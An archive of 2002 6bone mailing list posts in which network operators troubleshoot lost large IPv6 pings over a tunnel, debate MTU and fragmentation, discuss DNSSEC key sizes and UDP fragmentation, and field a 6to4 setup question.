> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 2001:470:1f00:ffff::212
> PING 2001:470:1f00:ffff::212(2001:470:1f00:ffff::212) from
> 2001:470:1f00:ffff::213 : 5000 data bytes
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=0 hops=64 time=478.822
> msec
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=1 hops=64 time=492.336
> msec
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=2 hops=64 time=492.383
> msec
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=3 hops=64 time=392.413
> msec
>
> --- 2001:470:1f00:ffff::212 ping statistics ---
> 4 packets transmitted, 4 packets received, 0% packet loss
> ------------------------------------------
> # ping6 -s 1000 3ffe:81d0:ffff::2
> PING 3ffe:81d0:ffff::2(3ffe:81d0:ffff::2) from 2001:470:1f00:ffff::213 :
> 1000 data bytes
> 1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=0 hops=63 time=271.892 msec
> 1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=1 hops=63 time=460.268 msec
> 1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=2 hops=63 time=310.296 msec
>
> --- 3ffe:81d0:ffff::2 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 3ffe:81d0:ffff::2
> PING 3ffe:81d0:ffff::2(3ffe:81d0:ffff::2) from 2001:470:1f00:ffff::213 :
> 5000 data bytes
> 5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=0 hops=63 time=536.436 msec
> 5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=1 hops=63 time=651.132 msec
> 5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=2 hops=63 time=511.162 msec
>
> --- 3ffe:81d0:ffff::2 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
> ------------------------------------------
> # ping6 -s 1000 3ffe:8070:1:13::1
> PING 3ffe:8070:1:13::1(3ffe:8070:1:13::1) from 2001:470:1f00:ffff::213 :
> 1000 data bytes
> 1008 bytes from 3ffe:8070:1:13::1: icmp_seq=0 hops=62 time=454.961 msec
> 1008 bytes from 3ffe:8070:1:13::1: icmp_seq=1 hops=62 time=525.919 msec
> 1008 bytes from 3ffe:8070:1:13::1: icmp_seq=2 hops=62 time=505.954 msec
>
> --- 3ffe:8070:1:13::1 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 3ffe:8070:1:13::1
> PING 3ffe:8070:1:13::1(3ffe:8070:1:13::1) from 2001:470:1f00:ffff::213 :
> 5000 data bytes
> 5008 bytes from 3ffe:8070:1:13::1: icmp_seq=0 hops=62 time=634.059 msec
> 5008 bytes from 3ffe:8070:1:13::1: icmp_seq=1 hops=62 time=653.610 msec
>
> --- 3ffe:8070:1:13::1 ping statistics ---
> 2 packets transmitted, 2 packets received, 0% packet loss
> ------------------------------------------
> # ping6 -s 1000 2001:660:1102:4007::2
> PING 2001:660:1102:4007::2(2001:660:1102:4007::2) from
> 2001:470:1f00:ffff::213 : 1000 data bytes
> 1008 bytes from 2001:660:1102:4007::2: icmp_seq=0 hops=60 time=568.278 msec
> 1008 bytes from 2001:660:1102:4007::2: icmp_seq=1 hops=60 time=578.146 msec
> 1008 bytes from 2001:660:1102:4007::2: icmp_seq=2 hops=60 time=534.845 msec
>
> --- 2001:660:1102:4007::2 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 2001:660:1102:4007::2
> PING 2001:660:1102:4007::2(2001:660:1102:4007::2) from
> 2001:470:1f00:ffff::213 : 5000 data bytes
>
> --- 2001:660:1102:4007::2 ping statistics ---
> 13 packets transmitted, 0 packets received, 100% packet loss
> ------------------------------------------
>
>
>
> ***********************************************************
> Madrid 2002 Global IPv6 Summit
> See all the documents on line at:
> www.ipv6-es.com
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


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From: Andy Furnell <andy@ipng.org.uk>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Alvaro Vives <alvaro.vives@consulintel.es>, 6bone@mailman.isi.edu,
   ipv6rd@consulintel.es
Subject: Re: [6bone] Problems with big packets!?
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On Fri, Oct 04, 2002 at 02:37:54PM -0400, John Fraizer wrote:
> 
> 
> Um, What is the problem?
> 
>  You're _NEVER_ going to encounter a 1000 byte packet, let alone a 5000
> byte packet in "the wild".
> 

I disagree,

I regularly see packets of 1000 bytes and above on applications such as
NNTP and FTP. Pinging with large packet sizes is often the best way to
determine faults with various networking media. Although in a tunneled
IPv6 context (especially given the size of the IPv6 header) you're
likely to see some pretty funky things happen when pinging with packets
much larger than 1200 bytes.

A

-- 
Andy Furnell
andy@ipng.org.uk

From tvo@EnterZone.Net Fri Oct  4 13:28:22 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Andy Furnell <andy@ipng.org.uk>
cc: Alvaro Vives <alvaro.vives@consulintel.es>, 6bone@mailman.isi.edu,
   ipv6rd@consulintel.es
Subject: Re: [6bone] Problems with big packets!?
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And how is it that you're seeing packets that are larger than the MTU of
the interface?  If you run into that with a TCP packet, the bottleneck is
going to send traffic back down the stream telling the sending station to
reduce the size of the traffic.  You're not going to see that happen with
an ICMP packet of 5000bytes.  It simply gets dropped.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Fri, 4 Oct 2002, Andy Furnell wrote:

> On Fri, Oct 04, 2002 at 02:37:54PM -0400, John Fraizer wrote:
> > 
> > 
> > Um, What is the problem?
> > 
> >  You're _NEVER_ going to encounter a 1000 byte packet, let alone a 5000
> > byte packet in "the wild".
> > 
> 
> I disagree,
> 
> I regularly see packets of 1000 bytes and above on applications such as
> NNTP and FTP. Pinging with large packet sizes is often the best way to
> determine faults with various networking media. Although in a tunneled
> IPv6 context (especially given the size of the IPv6 header) you're
> likely to see some pretty funky things happen when pinging with packets
> much larger than 1200 bytes.
> 
> A
> 
> -- 
> Andy Furnell
> andy@ipng.org.uk
> 


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From: Andy Furnell <andy@ipng.org.uk>
To: John Fraizer <tvo@EnterZone.Net>
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   Alvaro Vives <alvaro.vives@consulintel.es>, 6bone@mailman.isi.edu,
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Subject: Re: [6bone] Problems with big packets!?
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On Fri, Oct 04, 2002 at 04:28:13PM -0400, John Fraizer wrote:
> 
> 
> And how is it that you're seeing packets that are larger than the MTU of
> the interface?  If you run into that with a TCP packet, the bottleneck is
> going to send traffic back down the stream telling the sending station to
> reduce the size of the traffic.  You're not going to see that happen with
> an ICMP packet of 5000bytes.  It simply gets dropped.
> 

Different physical media have different MTU sizes. 1000 byte packets
aren't unusual, and can generally be transmitted across just about any
commonly used networking medium without fragmentation. Which is
something you seem to have forgotten. One of the major features of a
modern network is its ability to switch between different types of
physical network. A packet coming down the wire over ATM may be 4500
bytes. By your methodology when switched to an ethernet connection an
icmp packet would be returned telling the sender to adjust the packet
size it's sending. This is why we have the ability to fragment packets.

I think we're getting away from the point though. My point was that 1000
byte packets are a perfectly reasnoble size. Of most packets
transmittend I'd expect to see very few as small as 64 bytes (add 'in
the middle of a transmission' there if you want). Pinging with 64 byte
packets may be an accurate way to judge reachability to a host (and
latency to a certain extent), but if you're trying to simulate normal
internet activity packets closer to 1000 bytes are more likely to be
accurate.

A

-- 
Andy Furnell
andy@ipng.org.uk

From arien+6bone@ams-ix.net Fri Oct  4 14:57:41 2002
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Subject: Re: [6bone] Problems with big packets!?
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Alvero,

Your system undoubtedly has to fragment the data. After all the path 
MTU size is most likely smaller than 5000 bytes.

I suggest you have a look at the packets (using tcpdump, ethereal or 
some other fancy analyzer). You probably will see ICMPv6 Time Exceeded 
messages, telling that the fragment reassembly time is exceeded.

Kind regards, Arien

On vrijdag, oktober 4, 2002, at 12:40 PM, Alvaro Vives wrote:

> Hi all,
>
> We've a host connected to 6BONE through a tunnel. The traceroute6 and 
> ping6
> to 3ffe:3328:6:2b01::a100 works fine, BUT if we try:
>
> #ping6 -s 5000 3ffe:3328:6:2b01::a100
>
> ALL the packets are lost! (-s specifies the size in bytes).
>
> We tried ping6 (-s 5000 & -s 1000) to each node in the route, and in 
> one of
> them seems to be the problem:
>
> 2001:660:1102:4007::2
>
> Somebody else have experienced this?
>
> Regards,
>
> Alvaro.
>
> Se the pings and traceroute below:
>
> # ping6 -s 1000 3ffe:3328:6:2b01::a100
> PING 3ffe:3328:6:2b01::a100(3ffe:3328:6:2b01::a100) from
> 2001:470:1f00:ffff::213 : 1000 data bytes
> 1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=0 hops=58 
> time=843.811 msec
> 1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=1 hops=58 
> time=878.117 msec
> 1008 bytes from 3ffe:3328:6:2b01::a100: icmp_seq=2 hops=58 
> time=858.146 msec
>
> --- 3ffe:3328:6:2b01::a100 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 3ffe:3328:6:2b01::a100
> PING 3ffe:3328:6:2b01::a100(3ffe:3328:6:2b01::a100) from
> 2001:470:1f00:ffff::213 : 5000 data bytes
>
> --- 3ffe:3328:6:2b01::a100 ping statistics ---
> 7 packets transmitted, 0 packets received, 100% packet loss
> ------------------------------------------
> # traceroute6 3ffe:3328:6:2b01::a100
> traceroute to 3ffe:3328:6:2b01::a100 (3ffe:3328:6:2b01::a100) from
> 2001:470:1f00:ffff::213, 30 hops max, 16 byte packets
>  1  viperpan.tunnel.tserv1.fmt.ipv6.he.net (2001:470:1f00:ffff::212)
> 338.498 ms  287.976 ms  274.952 ms
>  2  rtr1.ipv6.he.net (3ffe:81d0:ffff::2)  279.843 ms  278.591 ms  
> 259.885 ms
>  3  3ffe:8070:1:13::1 (3ffe:8070:1:13::1)  359.978 ms  384.063 ms *
>  4  2001:660:1102:4007::2 (2001:660:1102:4007::2)  625.084 ms  534.236 
> ms
> 499.932 ms
>  5  3ffe:3300::29:2 (3ffe:3300::29:2)  839.862 ms  759.19 ms  744.743 
> ms
>  6  3ffe:3328:6:2::4 (3ffe:3328:6:2::4)  799.886 ms  749.333 ms  
> 885.018 ms
>  7  3ffe:3328:6:3::2 (3ffe:3328:6:3::2)  729.746 ms  749.217 ms  
> 704.883 ms
>  8  3ffe:3300::28:a (3ffe:3300::28:a)  704.972 ms  719.274 ms  689.917 
> ms
>  9  3ffe:3328:6:2b01::a100 (3ffe:3328:6:2b01::a100)  754.837 ms  
> 729.23 ms
> 839.888 ms
> ------------------------------------------
> # ping6 -s 1000 2001:470:1f00:ffff::212
> PING 2001:470:1f00:ffff::212(2001:470:1f00:ffff::212) from
> 2001:470:1f00:ffff::213 : 1000 data bytes
> 1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=0 hops=64 
> time=341.984
> msec
> 1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=1 hops=64 
> time=367.666
> msec
> 1008 bytes from 2001:470:1f00:ffff::212: icmp_seq=2 hops=64 
> time=417.688
> msec
>
> --- 2001:470:1f00:ffff::212 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 2001:470:1f00:ffff::212
> PING 2001:470:1f00:ffff::212(2001:470:1f00:ffff::212) from
> 2001:470:1f00:ffff::213 : 5000 data bytes
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=0 hops=64 
> time=478.822
> msec
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=1 hops=64 
> time=492.336
> msec
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=2 hops=64 
> time=492.383
> msec
> 5008 bytes from 2001:470:1f00:ffff::212: icmp_seq=3 hops=64 
> time=392.413
> msec
>
> --- 2001:470:1f00:ffff::212 ping statistics ---
> 4 packets transmitted, 4 packets received, 0% packet loss
> ------------------------------------------
> # ping6 -s 1000 3ffe:81d0:ffff::2
> PING 3ffe:81d0:ffff::2(3ffe:81d0:ffff::2) from 2001:470:1f00:ffff::213 
> :
> 1000 data bytes
> 1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=0 hops=63 time=271.892 msec
> 1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=1 hops=63 time=460.268 msec
> 1008 bytes from 3ffe:81d0:ffff::2: icmp_seq=2 hops=63 time=310.296 msec
>
> --- 3ffe:81d0:ffff::2 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 3ffe:81d0:ffff::2
> PING 3ffe:81d0:ffff::2(3ffe:81d0:ffff::2) from 2001:470:1f00:ffff::213 
> :
> 5000 data bytes
> 5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=0 hops=63 time=536.436 msec
> 5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=1 hops=63 time=651.132 msec
> 5008 bytes from 3ffe:81d0:ffff::2: icmp_seq=2 hops=63 time=511.162 msec
>
> --- 3ffe:81d0:ffff::2 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
> ------------------------------------------
> # ping6 -s 1000 3ffe:8070:1:13::1
> PING 3ffe:8070:1:13::1(3ffe:8070:1:13::1) from 2001:470:1f00:ffff::213 
> :
> 1000 data bytes
> 1008 bytes from 3ffe:8070:1:13::1: icmp_seq=0 hops=62 time=454.961 msec
> 1008 bytes from 3ffe:8070:1:13::1: icmp_seq=1 hops=62 time=525.919 msec
> 1008 bytes from 3ffe:8070:1:13::1: icmp_seq=2 hops=62 time=505.954 msec
>
> --- 3ffe:8070:1:13::1 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 3ffe:8070:1:13::1
> PING 3ffe:8070:1:13::1(3ffe:8070:1:13::1) from 2001:470:1f00:ffff::213 
> :
> 5000 data bytes
> 5008 bytes from 3ffe:8070:1:13::1: icmp_seq=0 hops=62 time=634.059 msec
> 5008 bytes from 3ffe:8070:1:13::1: icmp_seq=1 hops=62 time=653.610 msec
>
> --- 3ffe:8070:1:13::1 ping statistics ---
> 2 packets transmitted, 2 packets received, 0% packet loss
> ------------------------------------------
> # ping6 -s 1000 2001:660:1102:4007::2
> PING 2001:660:1102:4007::2(2001:660:1102:4007::2) from
> 2001:470:1f00:ffff::213 : 1000 data bytes
> 1008 bytes from 2001:660:1102:4007::2: icmp_seq=0 hops=60 time=568.278 
> msec
> 1008 bytes from 2001:660:1102:4007::2: icmp_seq=1 hops=60 time=578.146 
> msec
> 1008 bytes from 2001:660:1102:4007::2: icmp_seq=2 hops=60 time=534.845 
> msec
>
> --- 2001:660:1102:4007::2 ping statistics ---
> 3 packets transmitted, 3 packets received, 0% packet loss
>
>
> # ping6 -s 5000 2001:660:1102:4007::2
> PING 2001:660:1102:4007::2(2001:660:1102:4007::2) from
> 2001:470:1f00:ffff::213 : 5000 data bytes
>
> --- 2001:660:1102:4007::2 ping statistics ---
> 13 packets transmitted, 0 packets received, 100% packet loss
> ------------------------------------------
>
>
>
> ***********************************************************
> Madrid 2002 Global IPv6 Summit
> See all the documents on line at:
> www.ipv6-es.com
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From owens@nysernet.org Fri Oct  4 15:04:17 2002
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Date: Fri, 4 Oct 2002 18:04:09 -0400
To: "Alvaro Vives" <alvaro.vives@consulintel.es>, <6bone@mailman.isi.edu>
From: Bill Owens <owens@nysernet.org>
Subject: Re: [6bone] Problems with big packets!?
Cc: <ipv6rd@consulintel.es>
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At 12:40 +0200 10/4/02, Alvaro Vives wrote:
>Hi all,
>
>We've a host connected to 6BONE through a tunnel. The traceroute6 and ping6
>to 3ffe:3328:6:2b01::a100 works fine, BUT if we try:
>
>#ping6 -s 5000 3ffe:3328:6:2b01::a100
>
>ALL the packets are lost! (-s specifies the size in bytes).

Your ping program probably isn't doing MTU discovery, and is trying 
to send packets (or fragments) larger than the MTU somewhere along 
the path. Try

   ping6 -v -s 5000 3ffe:3328:6:2b01::a100

and look for "Packet too big" messages coming back from one of the routers.

Bill.

From michael_stapleton@bigfoot.com Fri Oct  4 15:40:12 2002
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Subject: Re: [6bone] Problems with big packets!?
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> modern network is its ability to switch between different types of
> physical network. A packet coming down the wire over ATM may be 4500
> bytes. By your methodology when switched to an ethernet connection an
> icmp packet would be returned telling the sender to adjust the packet
> size it's sending. This is why we have the ability to fragment packets.
> 
 It is my understanding that IPv6 routers do not fragment, mtu path 
discovery by the clients is supposed to determine the optimum size.


Michael Stapleton


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On Fri, 4 Oct 2002, Arien Vijn wrote:

> Alvero,
> 
> Your system undoubtedly has to fragment the data. After all the path 
> MTU size is most likely smaller than 5000 bytes.
> 
> I suggest you have a look at the packets (using tcpdump, ethereal or 
> some other fancy analyzer). You probably will see ICMPv6 Time Exceeded 
> messages, telling that the fragment reassembly time is exceeded.
> 
> Kind regards, Arien
> 
> On vrijdag, oktober 4, 2002, at 12:40 PM, Alvaro Vives wrote:

Several messages have suggested that packet sizes > 1500 bytes,
or even 1000 bytes, are unreasonable.  I certainly wouldn't
expect the existing 6bone to support packets > 1500 bytes,
but, packets of length 9000 over WANs are quite reasonable.

Existing ATM and POS links usually default to 4470, but, 
sometimes default to 9180 and certainly settable to 9180 
or even larger (e.g. Cisco GSR Engine 0 OC-3/12 POS cards
and Engine 2 OC-48 POS cards support MTU 17994,  
some GigE switches/ports support 9180, and some NICs 
support 9000.  People trying to do high-bandwidth applications
over WANs with large RTT's would be well-advised to set up the
path with 9180/9000 end-end.  

It would be unfortunate for high-bandwidth applications if only 
1500 byte packets end up being supported by IPv6.

--Hugh LaMaster



From bmanning@ISI.EDU Fri Oct  4 16:44:16 2002
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Subject: [6bone] big packets - redux
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 once more, with big packets....
 the topic was discussed on the keydist list.  Feedback is appreciated.
--------
        experimenting with DS keys of various lengths shows that 
        when keys are over a certain size, UDP fragmentation sets
        in.  In some cases, it is possible to actually get rollover
        to TCP (although this seems to be a corner case)

        now I've been told that UDP fragmentation can be a bad thing,
        leading to all sorts (well some kinds anyway) of odd 
        operational failures that are hard to debug.  UDP failure
        and rolling over to TCP is also considered a bad thing.

        so this question, "should key lengths be selected to 
        avoid fragmentation/TCP use?"

        if so, why?
        if not, why not?

        testing was done using single keys.  RSA/SHA1 keys of 512 & 1024
        bits, which generated "reasonable" packets.  RSA/SHA1 keys of 4096 
        bits, generated UDP fragmentation. Multiple keys will aggrevate the
        issue.

        Somewhat sidenote:  there has been some discussion that RSA keys 
        over 2048 in length incurred a significant performance impact over 
        smaller keys.  This performance impact hits the resolver though, 
        "on the wire" usage wasn't mentioned.  Further testing is needed.


Thoughtful responses follow:

-  "no" I don't think operational issues should dictate key
   lengths, but huge keys don't necessarily mean more secure either :)

-  some IDS/firewalls toss UDP packets larger than 512 bytes. Maybe the 
   right answer is to tune the EDNS packet size to avoid UDP 
   fragmentation?  4096 is bigger than most MTUs, but 1280 probably isn't, 
   and should be enough for most common responses.

- this is not just a server/resolver issue. if transit infrastructure is
  making assumptions on "viable" datagram sizes, we will have to make a 
  tradeoff in recommended key lengths.
  In an ideal world, security reasons (whatever that means) may be the only 
  vector for selecting length.  This being the "real" world, it may be that 
  to be useful, one has to trade of between "enough" crypto-strength and the 
  ability to deliver the key(s) to the intended target.)

- one experience is that keeping DNSSEC messages (plus overhead) below a
  MTU of 1500 can be sort of difficult and too restrictive besides.

- a general opinion is that the firewall or router that drops UDP fragments 
  or large UDP packets is broken and will need to be upgraded/replaced.
  if clients behind such broken devices set their EDNS0 max buffer size to 
  something that will fit in the MTU, everything should work.  There will
  probably be a lot of TCP DNS traffic, but it should work.

Acknowledgements:

        David Blacka  Scott Rose  Brian Wellington 
        Mark Andrews  Ed Lewis  Joahn Ihren  Olaf M. Kolkman

--bill

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On Fri, 4 Oct 2002, Michael Stapleton wrote:

> To: Andy Furnell <andy@ipng.org.uk>

> > modern network is its ability to switch between different types of
> > physical network. A packet coming down the wire over ATM may be 4500
> > bytes. By your methodology when switched to an ethernet connection an
> > icmp packet would be returned telling the sender to adjust the packet
> > size it's sending. This is why we have the ability to fragment packets.
> > 
>  It is my understanding that IPv6 routers do not fragment, mtu path 
> discovery by the clients is supposed to determine the optimum size.


 http://www.ietf.org/rfc/rfc1981.txt



From tvo@EnterZone.Net Fri Oct  4 19:04:36 2002
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On Fri, 4 Oct 2002, Hugh LaMaster wrote:

> Several messages have suggested that packet sizes > 1500 bytes,
> or even 1000 bytes, are unreasonable.  I certainly wouldn't
> expect the existing 6bone to support packets > 1500 bytes,
> but, packets of length 9000 over WANs are quite reasonable.
> 
> Existing ATM and POS links usually default to 4470, but, 
> sometimes default to 9180 and certainly settable to 9180 
> or even larger (e.g. Cisco GSR Engine 0 OC-3/12 POS cards
> and Engine 2 OC-48 POS cards support MTU 17994,  
> some GigE switches/ports support 9180, and some NICs 
> support 9000.  People trying to do high-bandwidth applications
> over WANs with large RTT's would be well-advised to set up the
> path with 9180/9000 end-end.  
> 
> It would be unfortunate for high-bandwidth applications if only 
> 1500 byte packets end up being supported by IPv6.
> 
> --Hugh LaMaster

OK Hugh.  Just so the rest of the world doesn't get confused here:

END-TO-END is the key point when using MTUs >1500.

If you have a path that looks like this (MTUs):

[1500]-[4500]-[4500]-[17994]-[17994]-[4500]-[1500]

...It doesn't matter what is in the middle, the max packet size
(unfragmented) that is going to get through the chain is 1500.

With v6-in-v4 tunnels, 1500 won't even make it through.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From michel@arneill-py.sacramento.ca.us Fri Oct  4 20:09:21 2002
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>> John Fraizer wrote:
>> Um, What is the problem?
>> You're _NEVER_ going to encounter a 1000 byte
>> packet, let alone a 5000 byte packet in "the wild".
 
> Andy Furnell wrote:
> I disagree,
> I regularly see packets of 1000 bytes and above on
> applications such as NNTP and FTP. Pinging with large
> packet sizes is often the best way to determine faults
> with various networking media. Although in a tunneled
> IPv6 context (especially given the size of the IPv6 header)
> you're likely to see some pretty funky things happen when
> pinging with packets much larger than 1200 bytes.

Agree with Andy.

Michel.


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Guys, wyh don't we have some practical approach. Here is the ping output which completed sucessfully with 5000 datagram size. Although I just ping the other end of the IPv6overIPv4 tunnel there are many hops in between. I agree that MTU is bounded by the lowest link on the path however if the endpoints are capable of discovering this minimum and capable of fragmanting then there should be no problem. However sometimes ICMP packets that are destined for the source to tell him to reduce the packet size for a low MTU link can not reach there because of a firewall, access-list etc. In this case there will be no MTU discovery or fragmantation and packets simply will be dropped.

cam7507ler3#ping ipv6 
Target IPv6 address: 3FFE:2500:0:414::1
Repeat count [5]: 
Datagram size [100]: 5000
Timeout in seconds [2]: 
Extended commands? [no]: 
Type escape sequence to abort.
Sending 5, 5000-byte ICMP Echos to 3FFE:2500:0:414::1, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 588/588/588 ms
cam7507ler3#

-----Original Message-----
From: Michel Py [mailto:michel@arneill-py.sacramento.ca.us]
Sent: Saturday, October 05, 2002 6:10 AM
To: 6bone@mailman.isi.edu
Cc: andy@ipng.org.uk
Subject: Re: [6bone] Problems with big packets!?


>> John Fraizer wrote:
>> Um, What is the problem?
>> You're _NEVER_ going to encounter a 1000 byte
>> packet, let alone a 5000 byte packet in "the wild".
 
> Andy Furnell wrote:
> I disagree,
> I regularly see packets of 1000 bytes and above on
> applications such as NNTP and FTP. Pinging with large
> packet sizes is often the best way to determine faults
> with various networking media. Although in a tunneled
> IPv6 context (especially given the size of the IPv6 header)
> you're likely to see some pretty funky things happen when
> pinging with packets much larger than 1200 bytes.

Agree with Andy.

Michel.

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From lamaster@nas.nasa.gov Mon Oct  7 11:14:07 2002
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On Fri, 4 Oct 2002, John Fraizer wrote:

> OK Hugh.  Just so the rest of the world doesn't get confused here:
> 
> END-TO-END is the key point when using MTUs >1500.
> 
> If you have a path that looks like this (MTUs):
> 
> [1500]-[4500]-[4500]-[17994]-[17994]-[4500]-[1500]
> 
> ...It doesn't matter what is in the middle, the max packet size
> (unfragmented) that is going to get through the chain is 1500.
> 
> With v6-in-v4 tunnels, 1500 won't even make it through.

True enough.  We're probably looking at MTU 1476 or somesuch
on these tunnels, regardless of whether or not the underlying
mtu on any particular link is 17994.  The tunnel is a virtual
link with a low MTU.

I just got concerned that some folks were generalizing this
phenomenon beyond the domain of tunnels and ethernet.  People
go to great lengths sometimes to get END-TO-END 9000 byte MTU
because it makes a huge difference in end-end performance
between hosts separated by a large RTT.  Actually, it makes
a big difference even if the hosts are locally connected and
on the same subnet, if the hosts are actually running user 
programs instead of just running network benchmarks ;-)



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Hi
I have a topology with a set of ipv6-only-hosts
and a set of ipv4-only-hosts as follows:

IPv6 Hosts         IPv4 Hosts
   |                       |
   |                       |
   |                       |
   +--------+-----------+
            |
            |
   IPv4/IPv6 Dual Stack Gateway
            ||
            ||
            ||
            ||
            ||
   IPv4/IPv6 Dual Stack Relay Router
            |
            |
            |
       6Bone ISP

My goal is to provide global-ipv6-connectivity to the IPv6-hosts.

Approach:
----------------
To accomplish this goal, I have configured a dual-stack-relay-router.
 From each of the dual-stack-gateways, i have configured 6to4
tunnels to the dual-stack-relay-router.  From the dual-stack-relay-
router, i intend to connect to 6Bone.
If the IPv4 address of dual-stack-gateway is 1.2.3.4, the IPv6
address of the gateway is 2002:0102:0304::1/64, and the prefix delegated
to the IPv6-hosts within that home would be 2002:0102:0304:0001 (64 bits).
If the IPv4 address of dual-stack-relay-router is 5.6.7.8, the IPv6
address of the relay-router is 2002:0506:0708::1/64.

My questions to you:
-------------------------------
On this front, can you please let me know if my approach is right?
With this kind of configuration to the IPv6 hosts, will I
be able to provide global connectivity to the ipv6-hosts?

Is 6to4 tunnels the right approach to use to connect the gateways to
relay-router?  And if so, how should i configure the ipv6-routing-
tables in the gateways to forward all the ipv6 traffic to the
relay-router?

How should i configure the relay-router to connect to 6bone?  Do we
use native-ipv6 or 6to4-tunnel?

Is there a better approach to solve this problem?

Since i am new to 6bone, i would greatly appreciate any help or pointers.
With best rgds.
Ravi

--=====================_351420075==_.ALT
Content-Type: text/html; charset="us-ascii"

<html><div>Hi</div>
<div>I have a topology with a set of ipv6-only-hosts</div>
<div>and a set of ipv4-only-hosts as follows:</div>
<br>
<div>IPv6 Hosts&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IPv4
Hosts</div>
<div>&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</div>
<div>&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</div>
<div>&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</div>
<div>&nbsp; +--------+-----------+</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</div>
<div>&nbsp; IPv4/IPv6 Dual Stack Gateway</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
||</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
||</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
||</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
||</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
||</div>
<div>&nbsp; IPv4/IPv6 Dual Stack Relay Router</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6Bone ISP</div>
<br>
<div>My goal is to provide global-ipv6-connectivity to the
IPv6-hosts.</div>
<br>
<div>Approach:</div>
<div>----------------</div>
<div>To accomplish this goal, I have configured a
dual-stack-relay-router.</div>
<div> From each of the dual-stack-gateways, i have configured 
6to4</div>
<div>tunnels to the dual-stack-relay-router.&nbsp; From the
dual-stack-relay-</div>
<div>router, i intend to connect to 6Bone.</div>
<div>If the IPv4 address of dual-stack-gateway is 1.2.3.4, the
IPv6</div>
